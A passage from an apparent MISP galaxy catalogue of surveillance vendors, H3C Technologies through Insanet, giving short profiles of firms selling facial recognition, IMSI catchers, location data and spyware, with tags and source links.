https://advox.globalvoices.org/2025/01/27/totok-baz-and-others-the-uae-and-ksa-promote-unsafe-communication-apps/
https://botim.me/about/

H3C Technologies

H3C Technologies, also known as New H3C, is a joint venture originally established between Hewlett-Packard Enterprise (HPE) and China-based Unisplendour Corporation, a subsidiary of the state-owned Tsinghua Holdings. H3C's technology is deeply embedded in China's extensive surveillance system. The company has developed an internet protocol (IP) telephone network for

the Xinjiang Public Security authorities, a key component of the region's repressive monitoring network. This system integrates mobile apps, biometric data collection, artificial intelligence, and big data to monitor and control the activities of millions of Uyghurs in Xinjiang. H3C also sells internet firewall products.

The tag is: *misp-galaxy:surveillance-vendor="H3C Technologies"*

Table 17757. Table References

Links
https://www.wsj.com/articles/u-s-tech-companies-prop-up-chinas-vast-surveillance-network-11574786846
https://www.atlanticcouncil.org/in-depth-research-reports/issue-brief/chinese-surveillance-ecosystem-and-the-global-spread-of-its-tools/
https://www.recordedfuture.com/research/the-role-of-us-technology-in-china-public-security-system
https://www.sec.gov/Archives/edgar/data/47217/000110465915041202/a15-12605_1ex99d1.htm
https://www.crn.com/news/cloud/hpe-is-selling-its-49-percent-stake-in-h3c-china-subsidiary

Hakluyt

Hakluyt & Company is a London-based intelligence agency known for its discreet operations and high-level clientele, including multinational corporations and governments. The firm is notable for its ties to the intelligence community, as it is staffed predominantly by former officers from agencies such as MI6, the CIA, and other elite intelligence organizations.

In 2001, BP and Shell were called out for hiring Hakluyt to spy on Greenpeace activists.

In 2021, Hakluyt opened a subsidiary in Dubai called Hakluyt & Company (Middle East) FZE.

The tag is: *misp-galaxy:surveillance-vendor="Hakluyt"*

Table 17758. Table References

Links
https://www.fastcompany.com/1727928/leaked-documents-uncover-energy-companies-spying-activists
https://www.intelligenceonline.com/corporate-intelligence/2018/09/26/ledgett-former-nsa-number-two-joins-hakluyt-in-washington,108325316-gra
https://royaldutchshellplc.com/2017/09/11/online-surveillance-and-digital-reputations/
https://d1e00ek4ebabms.cloudfront.net/production/uploaded-files/Sunday%20Times%20MI6%20(1)-9c96d371-3468-4f5d-ab4e-9ed3c5dcccc6.pdf
https://www.news.com.au/world/britain-is-concerned-about-australias-links-to-hakluyt-security-firm-created-by-former-mi6-agents/news-story/5d6a3c7ccbd5cd9992379aeecaa5e3dc

https://socialistworker.co.uk/in-depth/background-check/hakluyt-the-secretive-spy-firm-that-keir-starmer-is-banking-on/
https://www.intelligenceonline.com/corporate-intelligence/2021/06/10/hakluyt-swaps-mayfair-s-grey-skies-for-dubai-sun,109672337-art

Hanwang Technology

Hanwang Technology, also known by its English name Hanvon, is a publicly traded Chinese tech company founded in 1998 by Liu Yingjian, a former communications specialist in the People's Liberation Army. Initially focused on handwriting recognition, Hanwang used funding from China's 863 Program to expand its technologies.

Hanwang has refocused its efforts on artificial intelligence, particularly facial recognition technology, becoming a prominent partner of China's Ministry of Public Security (Gonganbu). Its products include mask-compatible facial recognition. This system uses advanced algorithms and thermal sensors to analyze visible facial features, such as the eyes and forehead, to confirm identities. It has been used to monitor public spaces and track individuals in crowded areas.

The tag is: *misp-galaxy:surveillance-vendor="Hanwang Technology"*

Table 17759. Table References

Links
https://www.reuters.com/article/technology/even-mask-wearers-can-be-idd-china-facial-recognition-firm-says-idUSKBN20W0WL/
https://www.chinadaily.com.cn/m/beijing/zhongguancun/2011-12/27/content_14336044.htm
https://www.yicaiglobal.com/news/hanwang-technology-wins-bid-to-supply-intelligent-facial-recognition-access-control-systems
https://academic.oup.com/jlb/article/7/1/lsaa038/5857112
https://techstartups.com/2022/01/25/unknown-ai-startup-behind-facial-recognition-surveillance-technology-used-chinese-government-identify-billions-citizens-even-wearing-masks/
https://www.businessinsider.com/chinese-company-claims-its-facial-recognition-95-accurate-masks-2020-3
https://www.intelligenceonline.com/surveillance—interception/2020/04/15/facial-recognition-firm-hanwang-technology-plays-catch-up,108401532-art
https://www.inverse.com/innovation/china-now-has-facial-recognition-that-can-identify-people-wearing-surgical-masks

Hawk Analytics

Hawk Analytics is the developer of CellHawk. Widely used by law enforcement agencies, private investigators, and legal teams, CellHawk processes extensive datasets from cellular providers, including call detail records (CDRs), location data, ride-hail logs, and tower dumps, to create detailed maps of individuals' movements, relationships, and communication patterns. Its

capabilities extend to analyzing ride-hailing and GPS data, offering features like animation tools to visualize movement and alerts for specific geofenced areas. It also integrates with Cellebrite exports, and ankle-bracelet monitoring.

The software has been employed in high-profile cases, such as tracking phone activity in investigations tied to Donald Trump's legal battles. Trump's team used CellHawk to analyze phone records of a prosecutor, revealing thousands of calls and texts, and mapping their locations.

In 2022, it was acquired by LeadsOnline.

The tag is: *misp-galaxy:surveillance-vendor="Hawk Analytics"*

Table 17760. Table References

Links
https://theintercept.com/2020/12/23/police-phone-surveillance-dragnet-cellhawk/
https://www.newsweek.com/donald-trump-fani-willis-nathan-wade-atlantia-georgia-cell-phone-records-1873358
https://www.atlantanewsfirst.com/2024/02/26/meet-private-eye-who-tracked-fani-willis-nathan-wades-calls-texts/
https://unicornriot.ninja/2022/criminal-intel-files-show-facial-recognition-warrantless-surveillance-in-minnesota/
https://www.youtube.com/watch?v=VaWwq2tmg2A
https://www.hoganeickhoff.com/blog/powerful-phone-surveillance-makes-its-mark/
https://www.404media.co/emails-reveal-the-casual-surveillance-alliance-between-ice-and-local-police/

Helsing

Helsing is a German defense company that builds software to turn cameras, radars and other battlefield sensors into a real-time "eyes-everywhere" network for the military. It develops AI-powered surveillance technology and autonomous military drones, connecting imagery, signals and radar feeds so forces can detect, classify and track targets without human analysts in the loop

The tag is: *misp-galaxy:surveillance-vendor="Helsing"*

Table 17761. Table References

Links
https://helsing.ai/newsroom/helsing-unveils-intelligent-strike-drone-for-mass-and-precision
https://www.middleeastmonitor.com/20250704-spotify-ceo-investments-700m-in-ai-drone-weapons-company-as-artists-call-for-boycott/
https://united24media.com/latest-news/company-supplying-drones-to-ukraine-is-now-powering-europes-first-ai-fighter-jets-9790

https://www.wsj.com/tech/ai/helsing-mistral-to-jointly-develop-ai-systems-for-military-use-ca75fd8b
https://militaeraktuell.at/en/helsing-and-loft-orbital-work-together/

HENSOLDT

HENSOLDT provides surveillance technologies designed to be integrated with drones. While the company itself does not manufacture drones, it develops advanced sensor systems that are often used in unmanned aerial vehicles (UAVs) for surveillance purposes. HENSOLDT's ARGOS-II HD electro-optical infrared (EOIR) system is frequently mounted on drones to provide high-resolution imaging and real-time surveillance capabilities. It also incorporates AI into its surveillance and sensor technologies. HENSOLDT, with funding from Germany, has supplied border control and surveillance equipment to Tunisia, along with providing training to the Tunisian military.

The tag is: *misp-galaxy:surveillance-vendor="HENSOLDT"*

Table 17762. Table References

Links
https://migration-control.info/en/library/profiteers/hensoldt/
https://www.hensoldt.net/news/unveiling-new-generation-argos-15-airborne-surveillance-and-targeting-system
https://www.navalnews.com/naval-news/2021/09/cnim-in-innovative-navigation-deploy-maritime-surveillance-blimps-in-greece-for-frontex/
https://www.joint-forces.com/defence-equipment-news/46240-hensoldt-argos-ii-hd-to-be-deployed-by-frontex
https://abolishfrontex.org/blog/2023/10/02/new-frontex-contracts-for-aerial-surveillance-flights/

Herta Security

Herta Security, a Spanish company that develops facial recognition technology, has been involved in providing surveillance solutions globally. In India, Herta's facial recognition technology has reportedly been deployed by the Indian Railways as part of its mass surveillance initiatives. This system is used to monitor passengers and identify individuals of interest.

According to the company, its clientele includes police forces in countries like Germany, Spain, Uruguay, and Colombia, as well as sports stadiums, shopping centers, hotel chains such as Marriott and Holiday Inn, airports, and casinos.

The tag is: *misp-galaxy:surveillance-vendor="Herta Security"*

Table 17763. Table References

Links
https://www.boomlive.in/explainers/mass-surveillance-indian-railways-use-facial-recognition-tech-and-ai-26094

https://www.wired.com/story/europe-ai-biometrics/
https://algorithmwatch.org/en/spain-mendez-alvaro-face-recognition/
https://hertasecurity.com/news/future-transforming-security-with-cutting-edge-eu-recognized-excellence/

Hiddentec

Hiddentec develops GPS tracking equipment that provide real-time information. The company's HT Pro software is a feature-rich platform for tracking and monitoring data. The software displays incoming messages from trackers in a filterable, tabular format and shows available GPS information on a mapping screen.

According to its official website, Hiddentec's surveillance equipment and trackers are in use globally within law enforcement, military, and government institutions.

MetOcean Telematics acquired Hiddentec Group in August, 2022.

The tag is: *misp-galaxy:surveillance-vendor="Hiddentec"*

Table 17764. Table References

Links
https://hiddentec.com/global-deployment/
https://www.intelligenceonline.com/surveillance—interception/2021/06/09/intellsec-purveys-western-cyber-intelligence-tools-in-balkans,109672033-art
https://metocean.com/metocean-acquires-hiddentec-group/
https://hiddentec.com/about-us/

HiSilicon

HiSilicon is a subsidiary of China's Huawei Technologies Co. Ltd. which sells chips with advanced capabilities for surveillance cameras. It is one of the world's most dominant chipmaker in the surveillance camera industry.

The tag is: *misp-galaxy:surveillance-vendor="HiSilicon"*

Table 17765. Table References

Links
https://www.reuters.com/technology/huawei-unit-ships-chinese-made-surveillance-chips-fresh-comeback-sign-sources-2023-09-20/

HK Medsourcing

HK Medsourcing is a company that sells International Mobile Subscriber Identity (IMSI) catchers, an intrusive technology used to locate and track all mobile phones that are switched on within a

specific area. It operates by masquerading as a mobile antenna, which tricks nearby phones into connecting to it. A significant concern with IMSI catchers is their frequent secret deployment, often lacking a clear legal foundation and the safeguards and oversight mechanisms that international human rights law mandates for other surveillance technologies.

The tag is: *misp-galaxy:surveillance-vendor="HK Medsourcing"*

Table 17766. Table References

Links
https://www.vice.com/en/article/wnx57m/the-black-market-dealers-selling-state-surveillance-equipment-online
https://privacyinternational.org/news-analysis/3948/imsi-catchers-facilitating-indiscriminate-surveillance-protesters

Hocell

Hocell is a company that provides surveillance tools, including a Drone-Mounted IMSI Catcher, a Portable IMSI Catcher and a Vehicle-Mounted IMSI Catcher, that can search and track cell phones as well as locate targets by identifying their IMSI numbers. The company is headquartered in Shenzhen, China.

The tag is: *misp-galaxy:surveillance-vendor="Hocell"*

Table 17767. Table References

Links
https://www.hocell.com/productinfo/709514.html
https://www.hocell.com/newsinfo/976054.html?templateId=129947

Horizon Robotics

Horizon Robotics develops AI-powered surveillance technologies, including facial recognition cameras and smart city solutions. According to company sources, its HR-IPC2143 smart camera achieves facial recognition accuracy up to 99.7% and can detect, track, and identify up to 200 objects in real time. These systems are designed for mass monitoring applications, such as identifying targets in crowded areas or large events. The cameras use Horizon’s proprietary "Sunrise" AI processor, which integrates algorithms, chips, and cloud systems for efficient video analysis.

The company also collaborates with state-owned enterprises and government initiatives in China, such as the 973 Program, also known as the National Basic Research Program of China.

The tag is: *misp-galaxy:surveillance-vendor="Horizon Robotics"*

Table 17768. Table References

Links

https://www.biometricupdate.com/201804/horizon-robotics-launches-camera-with-embedded-ai-for-facial-recognition
https://www.wired.com/story/thanks-to-ai-these-cameras-will-know-what-theyre-seeing/
https://en.most.gov.cn/programmes1/200610/t20061009_36223.htm
https://techcrunch.com/2019/02/26/horizon-robotics-raises-600m/
https://www.scmp.com/tech/china-tech/article/2133208/intel-backed-china-start-building-brains-self-driving-cars-powering
https://www.asmag.com/showpost/26538.aspx

Horizon Technologies

Horizon Technologies is a developer of airborne intelligence and surveillance solutions. One of its products, FlyingFish, is an advanced airborne Signals Intelligence (SIGINT) system designed to monitor satellite communications. It is capable of passively intercepting satellite phone signals to determine the location of users and gather intelligence in real time. Frontex, the European Border and Coast Guard Agency, utilizes FlyingFish systems as part of its border surveillance initiatives. These systems are deployed on ISR aircraft to monitor migration routes and enable Frontex to track satellite phone signals often used by migrants.

The tag is: *misp-galaxy:surveillance-vendor="Horizon Technologies"*

Table 17769. Table References

Links
https://privacyinternational.org/news-analysis/4601/space-final-frontier-europes-migrant-surveillance
https://abolishfrontex.org/blog/2021/08/23/frontex-awards-e84-5-million-in-aerial-surveillance-contracts/

HSS Development

HSS Development, formerly known as Homeland Security Strategies, is a New York-based intelligence and security technology provider offering surveillance products, including IMSI Catcher systems. According to Intelligence Online, it supplied surveillance technologies to clients such as Niger's Armed Forces (FAN) and Egypt's Supreme Council of the Armed Forces (SCAF).

HSS markets its products through subsidiaries like GCom Tech, a surveillance technology distributor, and Commtrol, a jamming systems provider.

The tag is: *misp-galaxy:surveillance-vendor="HSS Development"*

Table 17770. Table References

Links
https://www.intelligenceonline.com/surveillance—interception/2022/04/21/intelligence-provider-hss-pursues-its-african-ventures-despite-legal-woes,109779578-art

https://us.metoree.com/companies/140534/
https://www.secintel.com/index.php?app=ecom&ns=catshow&ref=cellular_intercept&sid=42orv874g5yw0yap3h797xeqwl049fx7&portrelay=1

Huadi

Huadi is a Chinese defense contractor and state-owned subsidiary of China's largest missile military contractor, originally spun off from China's Ministry of Defense. The company helped develop China's mass surveillance infrastructure through partnerships with major U.S. technology companies, particularly IBM.

Huadi's surveillance capabilities include designing and implementing the "Golden Shield" policing system, which Beijing uses to censor the internet and crack down on dissidents. In 2009, the company collaborated with IBM to build national intelligence systems, including a counterterrorism database used by the Chinese military and the Ministry of State Security (China's secret police.)

The company also worked with IBM to construct China's national fingerprint database, expanding the government's biometric surveillance capabilities.

The tag is: *misp-galaxy:surveillance-vendor="Huadi"*

Table 17771. Table References

Links
https://apnews.com/article/chinese-surveillance-silicon-valley-uyghurs-tech-xinjiang-8e000601dadb6aea230f18170ed54e88
https://www.startribune.com/takeaways-from-aps-investigation-into-how-us-tech-companies-enabled-chinas-digital-police-state/601470674

Hugslock

Hugslock is a surveillance technology company that developed the iNTACT (Intelligent Access Cover & Support System), a monitoring system disguised as ordinary manhole covers. Their system incorporates capabilities such as infrared surveillance and motion detection. The company made its first major deployment in Saudi Arabia, shipping 60 iNTACT units as part of a smart city project.

The tag is: *misp-galaxy:surveillance-vendor="Hugslock"*

Table 17772. Table References

Links
https://www.forbes.com/sites/thomasbrewster/2018/12/04/manhole-covers-that-spy-meet-the-westerners-helping-saudis-build-surveillance-cities/
https://ec.europa.eu/info/funding-tenders/opportunities/portal/screen/opportunities/projects-details/31045243/728408/H2020

Icetana

Icetana is a provider of AI-powered video analytics technology designed to advance surveillance systems by identifying abnormal events and unexpected behavior in real time. Its self-learning software integrates with existing video management systems and IP cameras. Icetana also offers facial recognition as part of its product suite, enabling users to manage access lists, create personalized watchlists, and detect individuals of interest.

The tag is: *misp-galaxy:surveillance-vendor="Icetana"*

Table 17773. Table References

Links
https://www.icetana.ai/industries/safe-cities
https://www.novuslight.com/warehouse-relies-on-ai-in-its-surveillance-system_N12633.html
https://www.startupdaily.net/topic/security-startup-icetana-raise-8-million-expansion/
https://www.finnewsnetwork.com.au/archives/finance_news_network532009.html
https://www.icetana.ai/investor-updates/icetana-secures-order-to-middle-eastern-shopping-mall
https://calgaryherald.com/news/local-news/mru-first-in-canada-to-adopt-black-screen-ai-security-monitoring
https://cdn.prod.website-files.com/623c13c1d0201ed21b8f362c/666bed92ebd7a509359c27d3_Safety%20and%20Security%20-%20icetana%20AI.pdf

ICOMM

ICOMM Media & Tech, a subsidiary of Hanoi Telecom Corporation (HTC), won a contract worth VND 5.6 billion ($225,000) from Ho Chi Minh City to deploy SocialBeat, an AI-powered social media monitor. The software is capable of processing billions of data points daily, drawing from over 20 million social media accounts, and has been widely adopted by government bodies.

Over the years, ICOMM has won numerous state contracts for surveillance purposes, including deals with the Ministry of Labour and the Vietnamese Fatherland Front.

Led by Bui Ngoc Trung, ICOMM operates under HTC, one of Vietnam's private telecommunications firms.

The tag is: *misp-galaxy:surveillance-vendor="ICOMM"*

Table 17774. Table References

Links
https://www.intelligenceonline.com/international-dealmaking/2024/03/20/icomm-spearheading-vietnam-s-internet-surveillance-effort,110193801-art
https://opengovasia.com/2024/02/29/social-beat-public-sentiment-management-in-ho-chi-minh-city/

https://fulcrum.sg/vietnams-social-listening-programme-big-brother-looming-over-ho-chi-minh-city/
https://icomm.vn/

IdeaForge

ideaForge Technology Limited, based in Mumbai, is a drone manufacturer and provider of surveillance UAVs for law enforcement. The company distributes the NETRA series, developed in collaboration with the Defence Research and Development Organisation (DRDO). These lightweight drones are designed for vertical takeoff and landing and are equipped with high-resolution daylight and thermal cameras. They are used primarily for real-time aerial surveillance including where GPS signals are weak or unavailable.

Indian police forces across multiple states, including Delhi, Mumbai, Punjab, Assam, Gujarat, Mangaluru, and Karnataka, have adopted ideaForge drones for operations that include crowd monitoring, protest surveillance, and nighttime patrols.

The tag is: *misp-galaxy:surveillance-vendor="IdeaForge"*

Table 17775. Table References

Links
https://asianaviation.com/ideaforge-drones-deployed-in-mangaluru/
https://timesofindia.indiatimes.com/city/delhi/eye-spy-delhi-police-sharpens-surveillance-in-digital-age-ai-image-to-use-next-gen-netra-to-identify-potential-threats/articleshow/121937425.cms
https://www.medianama.com/2024/05/223-ideaforge-skylark-labs-partnership-india-drone-sector/
https://dronelife.com/2025/06/23/indian-army-awards-emergency-uav-contract-to-ideaforge/
https://www.thehindu.com/sci-tech/technology/ideaforge-launches-drone-as-a-service-model-in-india-for-enterprises/article68782395.ece
https://www.businesstoday.in/latest/in-focus/story/ideaforge-and-galaxeye-ink-airborne-radar-mou-to-help-identify-indias-hidden-enemies-399799-2023-09-26
https://www.theweek.in/wire-updates/business/2022/03/03/pwr19-ideaforge.html

IDEMIA

IDEMIA, formerly known as Morpho, is a French multinational for advanced biometric and predictive analytics technologies often used for surveillance purposes. Its Traveler Analytics Suite is used to analyze passenger data, such as Passenger Name Records (PNR), at international borders.

In the United States, IDEMIA provides products to various federal and state government entities and is the leading provider in the issuance of driver's licenses. The company owns IdentoGO, which operates hundreds of storefronts offering electronic fingerprint capture and other identity-related services. The ACLU of Massachusetts reported that IDEMIA released a new video analytics product called Augmented Vision, enabling cameras to analyze people and their movements in real-time. The system includes algorithms capable of recognizing faces, silhouettes, vehicles, number plates,

and various objects. Notably, its automated "access control system" can identify a "person of interest," provide direct alerts, and automatically deny that person access to specific areas.

According to Amnesty International, its facial recognition technology was sold to the Shanghai Public Security Bureau, contributing to China's extensive surveillance infrastructure, including systems targeting Uyghurs and other minority groups in East Turkestan (renamed to Xinjiang by China.)

The tag is: *misp-galaxy:surveillance-vendor="IDEMIA"*

Table 17776. Table References

Links
https://www.amnesty.org/en/latest/press-release/2020/09/eu-surveillance-sales-china-human-rights-abusers/
https://www.aclum.org/en/publications/major-face-surveillance-company-releases-dystopian-tracking-tool
https://www.wired.com/story/inside-the-black-box-of-predictive-travel-surveillance/
https://www.biometricupdate.com/202011/idemia-to-help-war-torn-libya-establish-biometric-digital-id-system
https://www.cbc.ca/news/canada/toronto/police-facial-recognition-software-1.7216242
https://www.idemia.com/press-release/netherlands-introduces-new-dutch-identity-documents-incorporating-lasink-helios-idemia-smart-identity-2024-06-11
https://www.idemia.com/news/tahakom-and-idemia-promote-safety-and-sustainability-saudi-arabia-2024-02-07
https://www.washingtonpost.com/technology/2019/10/31/aclu-sues-fbi-doj-over-facial-recognition-technology-criticizing-unprecedented-surveillance-secrecy/
https://schengen.news/iceland-to-register-travellers-biometric-data-starting-from-2022-through-border-surveillance-technology/
https://www.aclu.org/news/privacy-technology/face-recognition-threatens-to-replace-tickets-id-at-sports-events-and-beyond
https://www.biometricupdate.com/202411/sita-and-idemia-partner-on-airport-biometrics-digital-identity-interoperability
https://www.idemia.com/news/exclusive-negotiations-acquire-safran-identity-security-2016-10-03

iFLYTEK

iFLYTEK is an artificial intelligence and voice recognition company. Its technologies have reportedly been used to monitor communications and identify Uyghur voices in Xinjiang.

The tag is: *misp-galaxy:surveillance-vendor="iFLYTEK"*

Table 17777. Table References

Links

https://www.wired.com/story/mit-cuts-ties-chinese-ai-firm-human-rights/

IMAS

The Information Monitoring and Analysis System (IMAS) is a platform to monitor and analyze mass media channels, including traditional and digital outlets, in Kazakhstan. The system offers tools for tracking information trends, analyzing public sentiment, and providing insights into media activity.

According to Freedom House's 2023 Freedom on the Net report, IMAS advertises a "monitoring system" that conducts social media surveillance." Its clients include the Prosecutor General's Office, the Ministry of Justice, and various local government administrations in Kazakhstan.

The tag is: *misp-galaxy:surveillance-vendor="IMAS"*

Table 17778. Table References

Links
https://innovation.cc/wp-content/uploads/2022_27_2_1_bokayev_social-media-kazakhstan.pdf
https://freedomhouse.org/country/kazakhstan/freedom-net/2023
https://imas.kz/en.html

Incert Intelligence

Founded in 2016 by cybersecurity specialist Moshe Ben Abu, Incert Intelligence provides tools for surveillance and intelligence gathering.

The tag is: *misp-galaxy:surveillance-vendor="Incert Intelligence"*

Table 17779. Table References

Links
https://www.intelligenceonline.com/surveillance—interception/2022/07/22/cyvera-co-founder-recasts-as-cyber-intelligence-expert-with-incert-intelligence,109801232-art
https://www.businessinsider.com/inside-the-israel-offensive-cybersecurity-world-funded-by-nso-group-2019-8

Indra Sistemas

Indra has been involved in providing surveillance and border control technologies that have been used in discriminatory practices, particularly in regions with stringent controls on migration and dissent. It is a provider of drones equipped with sensors, cameras, radars, AI and communication systems to monitor and control borders, as well as for intelligence gathering and target tracking.

The tag is: *misp-galaxy:surveillance-vendor="Indra Sistemas"*

Table 17780. Table References

Links
https://www.business-humanrights.org/en/latest-news/indra-reportedly-provides-monitoring-systems-for-eu-migration-surveillance-in-gulf-of-tunis-company-did-not-respond/
https://abolishfrontex.org/blog/2023/10/02/new-frontex-contracts-for-aerial-surveillance-flights/

Inex Technologies

Inex Technologies provides Automated License Plate Recognition (ALPR) systems for law enforcement agencies. Their cameras use neural network-based video analytics to process images on-board and output license plate numbers, reference images, and confidence scores. According to the company, this AI-powered processing enables real-time analysis at 40 FPS in their mobile systems, allowing for immediate identification and alerts on watchlisted vehicles. In 2006, Inex Technologies acquired Zamir Recognition Systems. They rebranded as INEX/ZAMIR while operating from headquarters in both Israel and the U.S, but the company currently goes by the name Inex Technologies.

The tag is: *misp-galaxy:surveillance-vendor="Inex Technologies"*

Table 17781. Table References

Links
https://resources.nvidia.com/en-us-metropolis-software-success-stories/solution-showcase-revolutionizes
https://inextechnologies.com/law_enforcement/
https://www.prnewswire.com/news-releases/the-israel-national-police-awards-alpr-systems-contract-to-inexzamir-234584441.html
https://www.securityworldmarket.com/int/Newsarchive/zamir-and-inex-unites
https://www.officer.com/command-hq/technology/traffic/lpr-license-plate-recognition/product/10227230/on-net-surveillance-systems-inc-onssi-ocularis-ip-license-plate-recognition-integration

Infinova

Infinova Corporation, headquartered in Monmouth Junction, New Jersey, is a global provider of advanced surveillance technologies, including CCTV systems, IP cameras, facial recognition systems, deep-learning algorithms, multi-angle recognition and AI-driven analytics. It’s heavily involved in China’s expansive surveillance programs, such as the "Sharp Eyes" platform and projects in regions like Xinjiang to target Uyghurs. Infinova deleted all articles about its Xinjiang projects from its Chinese website, though IPVM (The Authority On Physical Security Technology) retained copies.

Infinova has also been involved in major mass surveillance projects globally, including in countries like Kuwait, Saudi Arabia, Turkey, Mexico, India and the UAE.

The tag is: *misp-galaxy:surveillance-vendor="Infinova"*

Table 17782. Table References

Links
https://ipvm.com/reports/infinova-xinjiang
https://www.business-standard.com/content/press-releases-ani/infinova-empowers-kuwait-and-gcc-with-enhanced-security-solutions-building-a-safer-future-123052900732_1.html
https://thehill.com/opinion/technology/445726-chinas-weapon-of-mass-surveillance-is-a-human-rights-abuse/
https://www.securityworldmarket.com/int/Newsarchive/infinova-presents-latest-face-recognition-technology-in-dubai
https://internationalfireandsafetyjournal.com/news/more-than-500-infinova-cameras-protect-abu-dhabi-national-exhibition-centre/
https://www.business-standard.com/content/press-releases-ani/infinova-india-joins-hands-with-l-t-smart-world-communication-for-the-mumbai-surveillance-project-employing-12-000-cameras-in-1-800-locations-123041900977_1.html
https://securitytoday.com/Articles/2010/04/07/Infinova-Cameras-Ukbekistan-Airport.aspx?admgarea=ht.airport
https://www.securitysystemsnews.com/article/infinova-acquire-march-networks-882-million
https://www.businesswire.com/news/home/20111209005215/en/Video-Surveillance-Manufacturer-Infinova-Expands-Global-Presence-with-Acquisition-of-March-Networks%C2%AE
https://www.infinova.com/pdf/press-release/2010/Infinova%20Appoints%20Rodriguez%20for%20Director%20of%20Sales%20in%20Mexico.pdf

Inkas

Canadian armoured vehicle manufacturer Inkas is a provider of surveillance and interception technologies through its Aerospace & Defense division, established in September 2021. This division markets a comprehensive catalogue of advanced interception systems, including Wi-Fi interception tools, IMSI-catchers, geolocation systems, and other interception products.

Inkas also has partnerships in Israel, where it collaborated with former Unit 8200 officer Eyal Avidov to expand into electronic systems integration and platform-mounted electro-optical systems. The company has supplied surveillance-enabled armoured vehicles to police forces in Nigeria, the UAE, Saudi Arabia, and beyond.

The tag is: *misp-galaxy:surveillance-vendor="Inkas"*

Table 17783. Table References

Links
https://inkasdefense.com/cyber-intelligence/
https://www.cbc.ca/news/politics/canada-defence-deal-azerbaijan-export-1.4219119
https://opencanada.org/seven-human-rights-violators-buying-canadian-military-goods/

https://www.intelligenceonline.com/surveillance—interception/2022/02/10/armoured-vehicle-specialist-inkas-expands-into-interception,109733140-art

InMarket

InMarket is a location data broker that has been involved in tracking and selling users' precise location information collected through smartphone apps. The company operates by gathering location data from mobile applications and then selling this information to various clients. In early 2024, InMarket faced regulatory enforcement action from the Federal Trade Commission, which placed restrictions on the company's ability to sell location data.

The tag is: *misp-galaxy:surveillance-vendor="InMarket"*

Table 17784. Table References

Links
https://www.ftc.gov/news-events/news/press-releases/2024/01/ftc-order-will-ban-inmarket-selling-precise-consumer-location-data
https://therecord.media/ftc-location-data-brokers-gravy-venntel-mobilewalla
https://www.eff.org/deeplinks/2024/12/federal-regulators-limit-location-brokers-selling-your-whereabouts-2024-review
https://securiti.ai/ftc-cracks-down-on-mass-data-collectors/

Innefu Labs

Innefu Labs, an Indian cybersecurity and artificial intelligence company, has faced scrutiny for its involvement in surveillance technologies and alleged links to spyware attacks. Amnesty International uncovered connections between Innefu Labs and the Donot Team, a notorious hacker group responsible for targeting activists with spyware. This spyware, used in attacks on a Togolese human rights defender, could access sensitive data, including photos, files, and encrypted messages.

The company also provides the facial recognition software AI Vision, used by police in several Indian states for surveillance purposes, including during protests. This technology, which incorporates gait and body analysis, has sparked debates about privacy and the potential for misuse in monitoring dissent. Their clients include the Central Reserve Police Force (CRPF) and the Border Security Force (BSF) in India.

The tag is: *misp-galaxy:surveillance-vendor="Innefu Labs"*

Table 17785. Table References

Links
https://www.amnesty.org/en/latest/news/2021/10/togo-activist-targeted-with-spyware-by-notorious-hacker-group/

https://www.reuters.com/article/world/indias-use-of-facial-recognition-tech-during-protests-causes-stir-idUSKBN20B0ZP/
https://www.innefu.com/blog/real-time-surveillance-insights-beyond-images-and-video-with-ai-vision
https://www.forbes.com/sites/emmawoollacott/2021/11/10/rights-groups-warn-of-growing-surveillance-in-indias-hyderabad/
https://www.fortuneindia.com/enterprise/law-enforcers-outsourcing-facial-recognition-to-pvt-sector-infringing-rights-says-study/106470
https://indianexpress.com/article/india/police-film-protests-run-its-images-through-face-recognition-software-to-screen-crowd-6188246/
https://analyticsindiamag.com/ai-news-updates/indian-government-is-using-facial-recognition-on-delhi-rioters/
https://economictimes.indiatimes.com/small-biz/money/govts-digital-push-lands-innefu-rs-5-5-crore/articleshow/57052777.cms

Inpedio

Inpedio received millions in investments from the Israel Aerospace Industries (IAI.) IAI made the investment through its Singaporian subsidiary, Custodio PTE. According to Haaretz, employeers at Inpedia were involved in developing Predator in Cytrox offices. Inpedio was registered in the Netherlands in 2016 by Rotem Farkash and Abraham Rubinstein, who also established Cytrox Holdings in Hungary.

The tag is: *misp-galaxy:surveillance-vendor="Inpedio"*

Table 17786. Table References

Links
https://www.haaretz.com/israel-news/security-aviation/2023-06-28/ty-article/israel-invested-in-spyware-that-brought-down-greek-spymaster/00000188-dd36-d5fc-ab9d-df7edbf20000

InReach

InReach was set up as a business entity in Cyprus for the sole purpose of promoting QuaDream's surveillance products outside of Israel. QuaDream is an Israeli company that specializes in the development and sale of advanced digital offensive technology to government clients. The company is known for its spyware marketed under the name "Reign", which, like NSO Group's Pegasus spyware, reportedly utilizes zero-click exploits to hack into target devices.

The tag is: *misp-galaxy:surveillance-vendor="InReach"*

Table 17787. Table References

Links
https://citizenlab.ca/2023/04/spyware-vendor-quadream-exploits-victims-customers/

Insanet

Insanet is an Israeli company that uses advertising technology to infiltrate devices and surveil users. Insanet reportedly collaborated with Candiru, an Israeli spyware manufacturer sanctioned in the US, to market their surveillance software, Sherlock, alongside Candiru's own spyware products. Unlike traditional spyware that exploits system vulnerabilities or requires user interaction, Sherlock embeds spyware into targeted advertisements. When these ads are displayed on a webpage viewed by the target, the spyware is silently installed on their device, including Windows computers, Android phones, and iPhones. Sherlock's capabilities include monitoring, data capture, and transmission,

Insanet also worked with Israeli cyber-intelligence, cloud infiltration specialist Paragon, which claimed to have the power to remotely break into encrypted instant messaging communications through its tool Graphite.

According to Haaretz, "the company is owned by former ranking members of the defense establishment, including a past head of the National Security Council, Dani Arditi." The same report by Haaretz also notes that "Insanet has succeeded in obtaining authorization from the Defense Ministry to sell their technology globally. It has already sold the capability to one country that is not a democracy."

The tag is: *misp-galaxy:surveillance-vendor="Insanet"*

Table 17788. Table References

Links
https://www.haaretz.com/israel-news/2023-09-14/ty-article-magazine/.highlight/revealed-israeli-cyber-firms-developed-an-insane-new-spyware-tool-no-defense-exists/0000018a-93cb-de77-a98f-ffdf2fb60000
https://www.theregister.com/2023/09/16/insanet_spyware/
https://www.channelnewsasia.com/commentary/insanet-sherlock-spyware-targeted-advertisement-hack-phone-computer-3802036
https://www.haaretz.com/israel-news/security-aviation/2023-12-08/ty-article/.premium/at-defense-and-arms-expo-israeli-cyber-is-out-but-surveillance-tech-in/0000018c-49da-db23-ad9f-69da26e10000
https://www.discovermagazine.com/technology/spyware-can-infect-your-phone-or-computer-via-the-ads-you-see-online-report
